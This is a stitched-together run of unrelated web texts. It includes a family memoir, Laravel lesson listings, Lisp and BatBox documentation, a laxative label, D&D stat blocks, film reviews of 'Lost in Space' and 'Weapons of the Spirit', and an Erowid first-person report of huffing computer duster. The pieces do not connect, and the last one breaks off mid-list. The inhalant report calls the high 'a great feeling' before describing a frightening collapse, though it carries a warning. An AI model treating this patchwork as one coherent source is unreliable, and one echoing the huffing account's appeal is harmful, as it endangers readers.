to cook and since they were on a CES Mission where they had Family Home Evenings, activities, breakfasts and Dinners, one of her main responsibilities was to cook meals and refreshments. This she couldn’t do with her hands so bad. Another couple missionary had to take over for a while and Rick had to cook. Her hands finally got better, but her hair was coming out in brushfuls, she said, and her head burned and hurt to touch it. She realized it was from stress and much of it came from Rick as he was pressuring her to do more and be a better missionary. She was trying her best, but because of his problems, it was hard for her. Things got better when they got home and they are on another mission now (2017) This mission is in their stake and a Salt Lake stake, so they live at home. I hope things will be better for both of them on this mission. It seems to be. Their daughter, Kristy, has such terrible health problems and has had most of her life. She has also had two bad marriages, so Georgia & Rick try to help her as much as they can.
KIM: Kim and Jeanenne are such a wonderful couple and so spiritual. They have raised 7 children, but have had lots of heartache too. Their oldest son, Joshua, came home from his mission, a homosexual. He is married to a partner. They only have three out of their seven who are still active in the church – Charity, Summer and Caleb. The others are special women and are beautiful, but misled. Deseree, their second child, has had two bad marriages and is now living with a man and they just had a baby.  I hear that her guy is a good man and treats her good and that they plan to get married when Kim & Jeanenne get home from their mission. Summer, Mysha and Caleb are married and have cute families. Actually, Mysha and Johnny lost a baby a few years ago and haven’t been able to have anymore since until this year. They adopted a baby boy and then she gave birth to a son. Summer gave birth to a baby boy this year also. All these grandsons were born while Kim & Jeanenne are on their mission. I know this was hard for Jeanenne not to be there with her daughters and their new babies, but she will be blessed for her sacrifice. Kim and Jeanenne are on their second mission. Their first was to a country below India (can’t remember the name), and they are now in Africa. They are wonderful missionaries. They love all their children and grandchildren very much, and that is the key “LOVE”.
Sibling & Spouse Get-Togethers:
We decided a few years ago to have a sibling and spouse get together once every three months, and to take turns hosting them at our homes. These have been great and have kept us in touch with each other. We have a great meal, visit and sometimes play games. The year that we were in charge of the Bushnell Reunion, we spend these get-togethers planning and preparing for this reunion. Bryce & Deanna have a time-share condo and they have invited us all to go up there and spend a couple of days which was really fun. We went to the temple together last year and that was wonderful. When one couple was on their mission, we would miss them, but still held them every three months. It was great when Terry and Angela moved down from Alaska and could be with us at these and other reunions and activities.
This was a Browning reunion we held at a park in Roy in 2017. Irven had asked if I would plan this one. Shellie, Roy & Jase were here visiting, so they were able to be with us at this reunion also. Cheryl, Bob and their grandchildren came, Bruce came with his daughter and her family, Irven & Sandy with their son, Mark & his wife, Becky. Scott, Mishelle and their family came, plus Ken and I. So there wasn’t very many, but we had a good time anyway. We all brought pot luck items for our dinner. We visited and played lawn games and board games.
This was the Porter family on Memorial Day weekend at the Morgan Cemetery in 2016. We then went to the Morgan Park for lunch, games and visiting. The children had fun on the splash pad and the playground.
This is the Porter family at the cemetery in 2018


The best source of Laravel training on the web.
Oct 2, 2020
Let's review Livewire's event system by playing with a third-party tagging library. Livewire allows you to fire and listen for events in the front-end or the back-end, which makes component communication a cinch.
Once again, let's test our tags component, as well as the Livewire events.
Oct 1, 2020
Now, let's learn how to test the file upload component that we wrote in the previous episode.
Sep 30, 2020
Moving on, let's explore file uploading in Livewire. Livewire makes use of temporary uploads which allows us to perform real-time validation and image previews. Let's take a look at these with an example using posts with a cover image.
Sep 29, 2020
Let's have a look at an example that uses polling in Livewire. Polling can prove useful when your components should continuously refresh to display the latest data.
Sep 28, 2020
In this lesson, we'll convert the comments functionality from vanilla Laravel to a Livewire component. Components like these are great use-cases for Livewire components, where we don’t want to trigger a full page-refresh after submitting a form.
Let's continue with the comments component we wrote in the previous episode, and learn how to test it.
Sep 24, 2020
As we reach the end of this series, let's take a few moments to discuss responsibility and awareness. I find that it's useful to frequently ask myself, "Should this class be aware of that particular thing?"
Sep 23, 2020
Continuing from the previous episode, let's now write a series of tests for our datatable component.
Let's take the only remaining thing that changes in our Query class, and extract it to a service provider. With this tweak, you'll never have to modify the Query class again. Instead, create a new featured collection, add a new item to your service provider's $collections array, and you're done.
Sep 22, 2020
Let's build a datatables component that allows a person to search, filter, sort and manipulate the query string. This component will demonstrate the power of Livewire, as building a datatables component the traditional way would require a significant amount of JavaScript.
Let's keep going. In this episode, I'll show you how to remove a conditional by reassigning the "check" to the underlying class.
Sep 21, 2020
Pagination in Livewire is quite similar to pagination within a vanilla Laravel. Let's review everything you need to know in this episode. View the source code for this episode on GitHub.
In order to provide a practical, real-life example of the open-closed principle, we'll use a heavily-modified version of existing code from the Laracasts codebase, itself. This should open up all sorts of refactoring possibilities. Now before we get started, let's first take a few minutes to discuss what we're working with, and where we want to go.
You are receiving this email because you signed up for updates about the Laracasts feed. You can unsubscribe at any time.


Assg.2: CSS, JavaScript, and Forms
Brought to you by Gilbert Al-Indary
CSC 443, Assg 2, Fall 2015
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Previous: File Streams, Up: Introduction to Streams
The class stream has a number of subclasses defined by this specification. Figure 21–5 shows some information about these subclasses.
Class Related Operators broadcast-stream make-broadcast-stream broadcast-stream-streams concatenated-stream make-concatenated-stream concatenated-stream-streams echo-stream make-echo-stream echo-stream-input-stream echo-stream-output-stream string-stream make-string-input-stream with-input-from-string make-string-output-stream with-output-to-string get-output-stream-string synonym-stream make-synonym-stream synonym-stream-symbol two-way-stream make-two-way-stream two-way-stream-input-stream two-way-stream-output-stream
Figure 21–5: Defined Names related to Specialized Streams


This debut short story collection from Author Margaret O is electric and evervescent. She spears directly into the feeling of isolation that plagues breakups and good relationships alike. Her stories are like when your mother would say something rueful and smile with only the corner of her mouth. She does not have strong opinions on Jack, but they doubtlessly wouldn't get along.
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Our Youtube channel was made by Anonymous and Nabith. When it started it was called Dragon Fire.And when 7 members joined ,the name changed to 7 guys. and then it went so on changing to Dumb guys. Now it will grow (try to) If these Dumb people will upload.


[Erowid Warning: Our understanding of the literature is that there is no such thing as safe use of volatile solvents, aerosols and other street inhalants : their psychoactive effects are inseparable from nerve and organ damage. We have chosen to include these reports to help document the real world use of inhalants, but their inclusion is not intended to imply that they are anything but dangerous.]
I was at home one day, and my parents were out, so I was alone. I had nothing to do. At the time I was feeling quite relaxed, as that day I had just finished one very difficult assignment for school, so I didn't care about anything at the time. My dad had a can of duster near his computer, so I went and got it.
After holding it in for about 10 seconds, I felt the usual pulsating sound in my ears, as well as a rippling feeling in my whole body. It was a great feeling, so I sprayed some more, and inhaled it. I did this for about 3 more times. With that I felt as if I had gone into an alternate reality, parallel to this one. Things remained the same, but yet they seemed so different. I felt that I could be both the child I were long ago, and the person I am right now at the same time.
What amazes me is the intense realization that 'There is no beginning' that swept over me all of a sudden. I kept feeling that no matter how far back I go, I can never reach the beginning of everything. Another interesting feeling that I had was that there was two of everything. Two lives, two myselves, even simple things such as two alphabets. I then realized that some weird memories were popping up in my head. Memories, that were obviously false, such as remembering seeing a big giant bird coloured like the rainbow, made of flames. However, although knowing that these memories were not true, at the same time, I believed them whole heartedly.
Right about now I came to, and found myself in the kitchen, with the tissue and can of duster in my hand. I huffed again, this time feeling a light tingling feeling in my throat. I didn't take any notice of that at all, and huffed again. Random thoughts were entering my head again. I tried huffing a third time when I felt death. the tingling feeling in my throat turned into a feeling like about 20 long sharp needles, piercing from under my throat, into my brain. I felt I could actually taste the metal piercing through my tongue. I felt like I couldn't move at all. Like everything had ended. A realization came over me, that although the beginning can never be reached, the end can come quite easily. I was really afraid at the time.
After about some time, I came to, and found I was lying on the floor. I capped the can of duster and put it back where I had found it, threw away the tissue, and vowed to myself never to do that again. It was a great experience at first, with a lot of things I still think about to this day, but its ending was horrible. I remained freaked out for about thirty minutes afterwards.
It was a memorable experience, and somehow, it changed the way I think about life. However I do not want to try it again.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


What is it?
CBM-Command is a disk manager for the Commodore 64, Commodore 128, Commodore VIC-20, Commodore Plus/4, and Commodore Pet/CBM computers. It is written in the vein of Norton Commander or Midnight Commander; but, it is much simpler due to the target platforms. Each Commodore model has its own native version of the application.
What does it do?
It works on both real machines and the VICE emulators.
So far, we have tested it with the following hardware:
- Flat Commodore 128 w/JiffyDOS
- Commodore 1571 w/JiffyDOS
- Commodore 1581 w/JiffyDOS
- uIEC/SD
- Commodore 64 (stock)
- Commodore 64 w/JiffyDOS
- Commodore 64 w/SuperCPU
- Commodore 1541 (stock)
- Commodore 1541 w/JiffyDOS
- Blue Chip 128 Disk Drive
- Creative Micro Designs FD-2000 Floppy Disk drive
- ZoomFloppy USB-to-IEC adapter (w/ WinVICE and OpenCBM)
Additional testing has been performed under VICE, using the following file systems:
- IDE64 Native Filesystem
- VICE File System
- VICE Virtual Drives (not True Drive Emulation)
- 1541 TDE
- 1551 TDE
- 1571 TDE
- 1581 TDE
- CBM 8050 TDE
- CBM 8250 TDE
- Commodore Plus 4 Emulation
- Commodore VIC 20 Emulation
- Commodore 64 Emulations
- Commodore 128 Emulation
- Commodore Pet Emulation
Features
- File copying between drives
- File renaming and deleting
- D64 Image Writing, and Creation of Disks from Those Images
- D71 Image Writing, and Creation of Disks from Those Images
- D81 Image Writing, and Creation of Disks from Those Images
- Send command to drive
- Simple "Paging" Text-File Viewer
- Moving into, and out of, sub-directories and disk-images
- Configuration Utility
- Whole Disk Copying
Development tools
CBM-Command has been developed with the following tools:
- CC65 link -- C and Assembler compilers with linker, for building 6502-based binaries.
- GNU Make link -- Makefile processor which builds the sources, using CC65.
- Visual Studio 2010 link -- I suggest downloading the ISO with all of the express editions; but specifically, you need the C++ edition.
- WinVICE link -- The best Commodore emulators available.
- CodePlex link -- Project management and source control.
HELP!
I'm looking for folks who want to adopt portions of the code, and help to make it better. If you are familiar with C and/or Assembly, or just want to get familiar with them (I had practically zero Assembly knowledge when I started this project), then contact me; and, we'll see if I can find something for you to do. :-)
Screenshots
- Removed old screenshots -- need to make new ones that are representative of the current code and platforms.


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PERI-COLACE- docusate sodium and sennosides tablet, film coated
Purdue Products LP
Disclaimer: Most OTC drugs are not reviewed and approved by FDA, however they may be marketed if they comply with applicable regulations and policies. FDA has not evaluated whether this product complies.
Active ingredients (in each tablet)
Docusate sodium 50 mg
Sennosides 8.6 mg
Purpose
Stool softener
Stimulant laxative
Uses
- relieves occasional constipation (irregularity)
- generally produces bowel movement in 6 to 12 hours
Do not use
- laxative products for longer than 1 week unless told to do so by a doctor
- if you are presently taking mineral oil, unless told to do so by a doctor
Ask a doctor before use if you have
- stomach pain
- nausea
- vomiting
- noticed a sudden change in bowel habits that lasts over 2 weeks
Stop use and ask a doctor if you have rectal bleeding or fail to have a bowel movement after use of a laxative. These could be signs of a serious condition.
If pregnant or breast-feeding, ask a health professional before use.
Keep out of reach of children. In case of overdose, get medical help or contact a Poison Control Center right away.
Directions
- Take only by mouth. Doses may be taken as a single daily dose, preferably in the evening, or in divided doses
| adults and children 12 years and over |
take 2-4 tablets daily |
| children 6 to under 12 years of age |
take 1-2 tablets daily |
| children 2 to under 6 years of age |
take up to 1 tablet daily |
| children under 2 |
ask a doctor |
Other information
- each tablet contains: calcium 10 mg, sodium 4 mg VERY LOW SODIUM
- store at 25°C (77°F); excursions permitted between 15°-30°C (59°-86°F).
Keep tightly closed.
Inactive ingredients
dicalcium phosphate, FD&C Red #40 Aluminum Lake, FD&C Blue #2 Aluminum Lake, magnesium stearate, microcrystalline cellulose, polyethylene glycol, polyvinyl alcohol, pregelatinized starch, sodium benzoate, talc, and titanium dioxide
©2013, Purdue Products L.P.
Mfd. for: Purdue Products L.P.
Stamford, CT 06901-3431
By: Purdue Pharma, 575 Granite Court
Pickering, ON L1W 3W8, Canada
303048-0A
Peri-Colace® Tablets
NDC: 67618-106-30


Gets a mouse input from the user.
BATBOX /m
Wait until user clicks on the console and then output a string like X:Y:Type. Thus, decoding the click result needs a FOR loop.
X : Click's column (start at 0)
Y : Click's line (start à 0)
Type : The click type:
1 : left click
2 : right click
3 : left double-click (returns first a left click)
4 : right double-click (returns first a right click)
Type values are for BatBox since version 2.2. Before, the returned TYPE is undefined because of bug.
To ease use of switch /m you can use the following script :
:: Mouse ptrX ptrY ptrType
:: ptrX : pointer to X
:: ptrY : pointer to Y
:: ptrType : pointer to Type
:Mouse_
FOR /F "tokens=1,2,3 delims=:" %%A in ('BatBox /m') DO (
SET %3=%%C
SET %2=%%B
SET %1=%%A
)
GOTO:EOF
BatBox (/k), BatBox (/w), BatBox (/c), BatBox
Dos9 manual pages, The Dos9 Project - Copyright © 2010-2013 Darkbatcher
This is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
Please report bugs, and mistakes at : <darkbatcher at dos9 dot org>


Crypt File
ver.: %VERSION% license:
MIT
Based on
AES
and
BASE-64
supports drag and drop.
set encryption key
FILE


Fuse uses ngx-translate module and supports multiple languages and translations.
In order to use the translations, create your translation file within the module you want to use
the translations. For example, for the Mail app, create i18n/en.ts
file inside the
apps/mail
folder.
The structure of the translation file is important and it must define the language id along with the translation data:
After you create your translation files, open the *.component.ts
file for the module you
want to have translations, and register your translation file. For this example, we will use the
mail.component.ts
file:
Changing the current language can happen instantly. Simply call the use
method from the
translate service:
More detailed usage of the translation service can be found in the toolbar.component.ts
file.


The DDL (data definition language) view renders the SQL statements necessary to re-create the selected table/view from scratch. It also works if the table is new, or changes are made in the Structure editor. In case of pending changes, the DDL view renders multiple sections:
There are three table views (Content / Structure / DDL). To navigate, select the required table view in the "Navigate" menu or use the segmented button at the bottom. There's also a keyboard shortcut (⌥⌘T) to cycle between the table views.
To copy selected sections to the clipboard, simply use the command "Copy" in the context menu.
Alternatively, you can use the "Save Query…" button to save the whole buffer to a file.
Postico does not support all database features. The DDL view is not intended for backup purposes. Please use pg_dump for backups.
Postico tries to simplify the SQL for better readability:
public
pg_default


This application was developed by Sam Cowie for the University of Liverpool Computer Science Department
This applcation is intended as a learning aid to teach students about different search algorithms from COMP219 - Artificial Intelligence
The algorithms included in this application are:
To use the app use the search panel to select an algorithm. You can then select to run the algorithm on the puzzle or learn more.
Once the algorithm has solved the configuration of the 8 puzzle you can the view statistics from the search and compare the efficency of the different
algorithms using the comparison table. For more information about the different statistics hover the mouse cursor on the "?" round the page.


Selecting a monster will show a stat block
AC: 15
HP: 2d6
Speed: 30 feet
XP: 50
STR: 8 (-1)
DEX: 14 (+2)
CON: 10 (+0)
INT: 10 (+0)
WIS: 8 (-1)
CHA: 8 (-1)
Skills: Stealth +6
Senses: Darkvision 60ft. Passive Perception 6
Languages: Common, Goblin
AC: 17
HP: 6d6
Speed: 30 feet
XP: 200
STR: 10 (+0)
DEX: 14 (+2)
CON: 10 (+0)
INT: 10 (+0)
WIS: 8 (-1)
CHA: 10 (+0)
Skills: Stealth +6
Senses: Darkvision 60ft. Passive Perception 9
Languages: Common, Goblin
AC: 12
HP: 8d12+8
Speed: 30 feet
XP: 450
STR: 19 (+4)
DEX: 14 (+2)
CON: 12 (+1)
INT: 1 (-5)
WIS: 10 (+0)
CHA: 3 (-4)
Skills: Perception +2
Senses: Blindsight 10ft. Passive Perception 12
Languages: ---
AC: 12
HP: 9d8+18
Speed: 15 feet
XP: 450
STR: 17 (+3)
DEX: 12 (+1)
CON: 15 (+2)
INT: 5 (-3)
WIS: 13 (+1)
CHA: 8 (-1)
Skills: Stealth +5
Senses: Darkvision 60ft. Passive Perception 11
Damage Immunity: acid
Condition Immunity: prone
Languages: ---
AC: 16
HP: 5d8+9
Speed: 30 feet
XP: 200
STR: 15 (+2)
DEX: 14 (+2)
CON: 13 (+1)
INT: 8 (-1)
WIS: 11 (+0)
CHA: 9 (-1)
Skills: Stealth +6, Survival +2
Senses: Darkvision 60ft. Passive Perception 10
Languages: Common, Goblin
AC: 15
HP: 5d8
Speed: 30 feet
XP: 100
STR: 14 (+2)
DEX: 12 (+1)
CON: 11 (+0)
INT: 6 (-2)
WIS: 10 (+0)
CHA: 7 (-2)
Senses: Darkvision 60ft. Passive Perception 10
Languages: Gnoll
AC: 18
HP: 22d8+44
Speed: 30 feet
XP: 5,000
STR: 20 (+5)
DEX: 15 (+2)
CON: 14 (+2)
INT: 10 (+0)
WIS: 14 (+2)
CHA: 12 (+1)
Saving Throws: Str +9, Con+6
Senses: Passive Perception 16
Languages: Any one language
Skills: Athletics +9, Intimidation+5, Perception+6


LOST IN SPACE (1998)
A film review by Steve Kong Edited by Cher Johnson Copyright 1998 Steve Kong
I'm not old enough to have seen the Lost in Space TV series. And though many of the people going to see Lost in Space will have enjoyed the series, I figure there are going to be a lot of people like me who have never seen it either. Knowing the TV series is not one of the prerequisites for the movie though. There's only one prerequisite for the movie: The willingness to turn off your brain.
Lost in Space begins with a loud and eyebrow-raising space dogfight that had me at the edge of my seat. With the adrenaline up, I thought I was going to be in for a roller coaster ride of a movie, but things slow down. >From here we get some background story and learn about the Robinson family and why they are planning to leave Earth for Alpha Prime.
It seems that Earth's resources are being depleted at a horrific rate and in a short time, the Earth will no longer be able to support human life. The only way to save the human race is to move and inhabit another planet. That planet--with water and a suitable atmosphere--is Alpha Prime. However, in order to get people off Earth in a timely manner, there needs to be a quick way to get them across the galaxy. This is where the Robinsons fall into the story.
The Robinsons are to travel by space ship to Alpha Prime and set up a jump gate -- much like the one in Stargate, but in space -- so that it can match up with the jump gate being built on Earth. Once both gates are completed, humans can be shipped across the galaxy via hyperspace and arrive at Alpha Prime instantaneously. Without the gates, though, any hyperspace travel will shoot the travelers into some unknown position in space -- as the Robinsons are quick to find out. The Robinson family is composed of: John (William Hurt) the father and professor, Maureen (Mimi Rogers) the mom and professor, Judy (Heather Graham) the oldest daughter and doctor, Penny (Lacey Chabert) the younger daughter, and Will (Jack Johnson) the son.
The Robinsons will travel 10 years in the ship Jupiter 2, which will be piloted by Major Don West (Matt LeBlanc). Major West is taken straight out of the movie Top Gun, spilling embarrassing lines as "Rock 'n Roll!" and "Putting the pedal to the metal!"
Unbeknownst to the family, the evil Doctor Smith has been left for dead aboard the Jupiter 2 after he sabotages the mission to Alpha Prime. Sixteen hours into the flight all Hell breaks loose; John and Major West wake up to discover that the Jupiter 2 is trapped in the Sun's gravitational pull and they are soon going to go melting into the Sun.
Major West flies the Jupiter 2 through the Sun with the hyperdrive engines. Yes, you read that right, he flies through the Sun. The drawback of the hyperdrive again is that the ship is shot into some unknown part of space. Or is it?
The family soon finds that they are floating next to a man-made space ship that looks much like the Event Horizon. But, I was relieved to find that it was not the dreaded Event Horizon, it is the Proteus. From here the movie has two more "acts" or parts. One includes exploring the Proteus and the other is exploring an icy planet.
The last few minutes of the film make no apparent sense. It includes time travel and some more hyperspace jumping. If you have seen Lost in Space and understand what was going on with the time travel, please let me know what it's all about.
Smith is supposed to be the main antagonist in Lost in Space but a few others crop up, maybe unintentionally. And those would be the family members themselves. The Robinsons are not quite a close knit family. Actually, they are the poster family for dysfunctional families in America. In Lost in Space, the family spends more time arguing with each other than with Doctor Smith.
Lost in Space has two major flaws. First, the script by Akiva Goodsman is horrible. For those of you who don't know the name Akiva Goodsman, he's the guy who wrote the awful follow-ups to the first two Batman films. Batman and Robin contains the worst writing I've ever heard. This writer has no clue about how to write dialogue. He only knows how to write one-liners and short quips-- and even these made me cringe.
Second, Stephen Hopkins directs the movie. Hopkins is the director who brought us Blown Away and Ghost and the Darkness. I've only seen Blown Away and that was an uneven thriller, at best. Lost in Space suffers from the same problem that Hopkin's Blown Away did: the direction is very uneven. He can certainly get the adrenaline pumping during action scenes, but he is not able to take that energy and move it into some of the non-action scenes. Hopkins has no clue about pacing.
The actors are OK. William Hurt is somewhat bland as John Robinson, but heck, I can see why, he's an egghead like myself. Mimi Rogers does what she can with her "Come home safe, John" role. Heather Graham, whom I loved in Boogie Nights, gets a throwaway part here. She really doesn't have much to do. Lacey Chabert, who looks like a miniature version of Neve Campbell with a 'magic-marker as eye-liner look' and Daffy Duck voice, is a toss up between really annoying and really really annoying. Jack Johnson is actually pretty worthy as Will Robinson, but he doesn't get enough screen time. Matt LeBlanc is Joey from Friends in space, he's not doing too much new here. The big performance is from Gary Oldman and he is not given enough time either.
One small thing that Lost in Space suffers from is what I call the "Ewok Syndrome." This is where the moviemakers throw in a cute creature into a movie just so that they can sell cute dolls on the after-market. For Return of the Jedi it was the Ewoks, for Lost in Space it's a space monkey of sorts named Blawp, which serves no purpose and even detracts from the film. New Line just wants to sell Blarp dolls to little kids who find Blarp cute.
So, what's good about Lost in Space? It's special effects, sets, landscapes, and fun factor. The press releases for Lost in Space boast that it has some 700-plus special effects. I didn't bother to count, but the special effects are pretty impressive. The sets by Norman Garwood are beautiful and very futuristic. The landscapes are nothing but awe-inspiring; they bring back memories of the landscapes from The Fifth Element. And the fun factor is definitely there if you ignore the lame story and unnecessarily convoluted plot.
In the end, with all of its flaws, Lost in Space is fun to see. But, please walk into the theatre with the brain in the "off" position. Don't Miss Lost in Space. Danger Will Robinson! Lost in Space is a mindless fun movie!
--- steve kong<EMAIL_ADDRESS>reviews from a guy who loves the cinema http://boiled.sbay.org/boiled/
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
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Related links: index of all rec.arts.movies.reviews reviews


{% extends "base.html" %} {% load staticfiles %} {% load i18n %} {% block content %}
{% blocktrans %}Multiplication Network Ministries (MNM) is a non-profit organization that equips leaders with the tools and resources to strengthen and multiply healthy churches. We do this through contextualized training, providing reproducible materials, even in the most remote places on the planet. Also visit, http://www.multiplicationnetwork.org. {% endblocktrans %}
{% blocktrans %}MNM provides two initial, foundational ministry platforms. More Churches is a one-year modular program for church planting where leaders are challenged to plant new churches through practical skills, biblical training, mentoring and follow-up. Stronger Churches is an ongoing process to strengthen the local church. It includes evaluative tools to help assess the church's health and vitality, leading to strategic planning, and with God's blessing, the preferred future of a maturing church.{% endblocktrans %}
{% trans "Take Your Church's Pulse – Book" %}
{% blocktrans %}
The book is available as a great companion to the TYCP online diagnostic tool. It presents Ten Vital Signs of a healthy church— Five Key Commitments
and Five Key Functions. It then introduces the reader to a church health diagnostic tool can be applied to a variety of church and small group settings.
Thousands of pastors and leaders around the world have found this framework helpful in organizing the ministry and mission of the local church.
The TYCP book and the diagnostic tool it presents are most useful if accompanied by a robust engagement in conversations.
We trust the humble, prayerful, and courageous men and women discussing these ten vital signs will be led by the Holy Spirit to discern and move
toward a blessed future in every local community of faith.{% endblocktrans %}
{% trans "Take Your Church's Pulse Online Diagnostic Tool" %}
{% blocktrans %}
This church health evaluation tool can help your congregation begin a process of healthy conversations that will clarify your vision and provide
valuable information from the members of your church.{% endblocktrans %}


WEAPONS OF THE SPIRIT A film review by Jeff Meyer Copyright 1987 Jeff Meyer
Seen at the Seattle Film Festival: WEAPONS OF THE SPIRIT (USA, 1986) Director/Writer: Pierre Sauvage Subitled during interviews
This is not a particularly good world, or a good country, or a good era, for idealists to live in. Cynicism is easily promoted in almost every moral and ethical area involved in our lives: scandals in religion, conflicts of interests in politics, general apathy in dealing with what once were national ideals. Humanism is also a difficult standard to hold forth on, what with portions the world trying to kill other portions over religious, political, or ethnic differences. Belief in "good" begins to wane after the constant bombarding of reports of mankind's inhumanity to itself, and what little of it comes our way via the media is treated with a healthy dose of skepticism.
Pierre Sauvage lives in this world, and this country, and this era also. He is a documentary filmmaker, of Jewish decent, and by his own account, a fairly cynical human being. During World War II, his parents were on the run through France, trying to escape capture by the Gestapo or the French sympathizers, the Vichy government. They were taken in and hidden by a group of farmers in the village of Le Chambon-sur-Lignon, where Sauvage was born. They escaped from there several months later, and left for America, but Sauvage grew up with a great curiosity about the people who had hidden and protected his parents and himself during a period when the rest of France were deporting Jews to the death camps. His parents did not like to discuss this period of their lives, so Sauvage began doing research on his own. There was few, if any, documents to go on, but as he progressed he came upon more and more instances of Jewish refugees who had been hidden, fed and sheltered by the villagers of Le Chambon and its neighbors. Five years ago, he decided to visit Le Chambon and investigate; his documentary, WEAPONS OF THE SPIRIT, is the result of his investigations. Sauvage attended the showing of his film at the Seattle Film Festival, and talked about how the history he uncovered had radically changed his life, and how he viewed the world. No wonder--I strongly doubt that anyone who sees this film can go away from it unchanged.
Between the fall of Paris to the Germans, and the German retreat, the lower half of France was ruled by the Vichy government, a French government ruling with the permission of the Nazis. The Vichy government took it upon itself to label, persecute, and finally export Jews to the death camps, unlike other occupied countries which refused to collaborate with the Nazis in this task, and forced the Gestapo to hunt for Jews themselves. However, in the south-east section of France, there was a small community where no Jews were ever exported. What is more, a large number of Jewish refugees were taken in, fed, housed, and hidden from both the Vichy representatives and the Germans. These people were strangers to the villagers of Le Chambon and its neighbors, families fleeing from various threats and just passing through this part of the country. Yet the people took them in, and took more and more in as the war progressed. These people were not paid, were given nothing other than help in doing farming chores (when possible) and the thanks of people who were, at that time, used to isolation from those who were not of their religion. Le Chambon-sur-Lignon had a population of approximately 5000 people, and during this period, they had as many as 5000 Jewish refugees hidden throughout their town and province! That is approximately one Jewish family for every house, farm or apartment in this area.
Sauvage talked to many of the older villagers who were involved in this "conspiracy of kindness," to ask how it was done, how it was accomplished. He asked one old woman how the refugee support was organized. "Organized?!" she said. "If it was was organized, it would never have worked!" No one person was the ringleader, though the parish priest was instrumental in introducing a general moral conviction to his parish, through his sermons; this way, no one person could be interrogated for the information. Besides the providing of shelter and food--and this was perhaps the most difficult part, because many of the occupants of Le Chambon were literally peasants--the villagers also managed to support a center for making forged documents for the Jewish refugees, and schools for their children. And through all this, they maintained a united, pacifistic front to the Vichy government, and later, the retreating German army.
Throughout it, Sauvage continually asks, "Why?" Why would they risk the lives of themselves and their families, go hungry at night, spend their money supporting people they had never met, and almost certainly would never meet again once they left Le Cambon? Time after time after time, these quiet, smiling people would answer back approximately the same thing: "Why, what else could we do?" "It was the only thing we could do." "It was a tenet of our faith." They all seemed to respond with polite surprise, as if wondering how they could not practice the lessons of the faith that they followed. Le Chambon and its vicinity is made up of the descendants of the Huguenots, French Protestants who were themselves persecuted for several centuries previous to the turn of the century. They are a very spiritual community, but tolerant of other faiths; the Jewish faith was practiced in sod houses and apartments throughout this period, with nothing but respect and deference given by their Christian hosts.  I am an agnostic, and have become more and more skeptical of organized Christianity over the last several years; but this film shows the caliber of people who practice the Christian faith in their every action, who do not quibble over differences in the letter of their Bible, but try to practice the spirit in which it is written. I am glad to see such examples of what this religion is capable of; I hope others will remember it, when faced with the latest exploits of those who use Christianity as a vehicle of hate.
What is perhaps most unusual about this film is how it documents the infectiousness of the kindness practiced by these people. While the Jewish population was hidden, they were not being kept in basements or root cellars during this period. The amazing solidarity of the entire community made it possible for these people to wander around; if anyone from out-of-town asked, they were told that these people were visiting relatives, or people vacationing from the city. The falsified documents were provided quickly, and the surrounding countryside became a haven underneath the Nazis' noses. Moreover, records show that Vichy officials assigned to the area, people who had been assigned to live in Le Chambon from other parts of France, regularly overlooked the refugees (they could not have missed them--many examples of this are given), and sent in reports to their superiors informing them that "no Jewish activity" existed in Le Chambon. Later, when the Germans retreated through the town, constant examples of the German Army looking the other way occurred with almost clockwork regularity. It is as if the miasma of concentrated goodness, of love, overcame much of the prejudice and evil exposed to it, so that many people, soldiers who were butchers elsewhere, seemed to put down their hatred, if only for a time. Unfortunately, Klaus Barbi, the Gestapo monster currently on trial in France, finally got wind of Le Chambon. He was not able to flush the Jewish community out, for the Germans were finally being forced to flee from France, but his henchmen broke in and captured and exported several groups of Jewish children, killing the local people hiding them, or shipping them off to death camps along with the Jews. The parish ministers and the local schoolmaster would have gone to the camps themselves if it had not been for the local Vichy official, who convinced his headquarters that these men knew nothing about any Jewish encampments in the area (the official definitely knew otherwise).
And then the war was over; the refugees scattered to the four winds, and the villagers of Le Chambon-sur-Lignon went back to their daily world of growing crops and livestock. They constantly seemed surprised that Sauvage came back to see them; "We didn't do that much--we did what anyone would have done," says one old man. I find tears on my face when thinking back on this scene, about this man's modesty and his assurance that the rest of the world has the quiet strength and courage of will that he himself possesses. Sauvage thinks that may be the most important message that this film can pass on: that it shows people, "ordinary" people, who are heroes in every sense of the word, through their day-to-day sacrifice and their refusal to be intimidated into doing what is truly wrong, and to remind us that we, too, have the potential and the ability to be as heroic as these people are. What a wonderful world we would have if people such as these were truly "ordinary!"
As a film, B+. As an experience that you should not deny yourself, A+. I hope WEAPONS OF THE SPIRIT makes it onto PBS or to your local theater in the near future; I cannot imagine not getting something positive out of this film. See it.
Moriarty, aka Jeff Meyer INTERNET<EMAIL_ADDRESS>Manual UUCP: {uw-beaver, sun, allegra, hplsla, lbl-csam}!fluke!moriarty
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


| |
Methods defined here:
- __init__(self)
- clear = method(self, **kwargs)
- Clears all completed tasks from the specified task list. The affected tasks will be marked as 'hidden' and no longer be returned by default when retrieving all tasks for a task list.
Args:
body: object, The request body. (required)
tasklist: string, Task list identifier. (required)
- delete = method(self, **kwargs)
- Deletes the specified task from the task list.
Args:
tasklist: string, Task list identifier. (required)
task: string, Task identifier. (required)
- get = method(self, **kwargs)
- Returns the specified task.
Args:
tasklist: string, Task list identifier. (required)
task: string, Task identifier. (required)
- insert = method(self, **kwargs)
- Creates a new task on the specified task list.
Args:
body: object, The request body. (required)
tasklist: string, Task list identifier. (required)
parent: string, Parent task identifier. If the task is created at the top level, this parameter is omitted. Optional.
previous: string, Previous sibling task identifier. If the task is created at the first position among its siblings, this parameter is omitted. Optional.
- list = method(self, **kwargs)
- Returns all tasks in the specified task list.
Args:
dueMax: string, Upper bound for a task's due date (as a RFC 3339 timestamp) to filter by. Optional. The default is not to filter by due date.
